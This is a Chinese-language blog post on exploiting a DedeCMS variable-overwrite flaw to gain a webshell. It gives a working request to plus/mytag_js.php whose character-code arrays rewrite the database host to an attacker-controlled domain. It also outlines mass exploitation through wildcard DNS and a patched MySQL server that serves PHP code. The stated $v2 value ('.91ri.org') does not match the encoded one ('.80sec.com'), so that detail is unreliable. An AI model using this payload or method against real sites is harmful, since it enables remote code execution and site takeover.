织梦dedecms变量覆盖漏洞的利用方法

最近的那个dedecms变量覆盖漏洞,最后可以控制全局变量,但不能完全控制

$GLOBALS[$v1] .= $v2;

注意这里是递加的,是在已初始化的全局变量内容上再递加内容。

现在已公开的漏洞利用方法是控制cfg_dbprefix全局变量里的数据库表前缀,然后再用ExecuteNoneQuery2点进行SQL注 入。不过这个点只能update,要直接GET WEBSHELL,需要mytag表中已经有记录,再update normbody字段的内容,利用dedecms的缓存机制GET WEBSHELL。如果dedecms默认这个表是空的,或者缓存已经生成过占了坑,就没办法GET WEBSHELL了!

除开这个方法,还有另外一个利用方法,假设原有程序的全局变量是$GLOBALS[‘cfg_dbhost’]= ‘locahost’,变量内容是递加,那么我们能控制cfg_dbhost为locahost.80sec.com,把原有的cfg_dbhost变成 连向我们的子域名locahost.80sec.com。

类似:

plus/mytag_js.php?aid=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=10
0&arrs1[]=98&arrs1[]=104&arrs1[]=111&arrs1[]=115&arrs1[]=116&arrs2[]=46&arrs2[]=
56&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=99&arrs2[]=1
11&arrs2[]=109
$v1=cfg_dbhost
$v2=.91ri.org

不过这个要大规模利用,成本就有稍微点高了:

1.需要一台泛解析域名的服务器

弄成泛解析域名是为了能大规模自动化攻击,可以让程序连任意的子域名*.xx.com,都能反连到我们的mysql。

2.需要patch mysql

可以修改一下mysql源代码,整成任意用户名和密码都能登陆,类似于cve-2012-2122那个漏洞的效果。

再让数据库怎么连怎么查都强制返回dedecms mytag表中含有PHP代码的记录,这个就需要修改源代码里的 mysql_query函数了。

原创文章转载请注明:转载自 七行者博客

本文固定链接: http://www.qxzxp.com/3443.html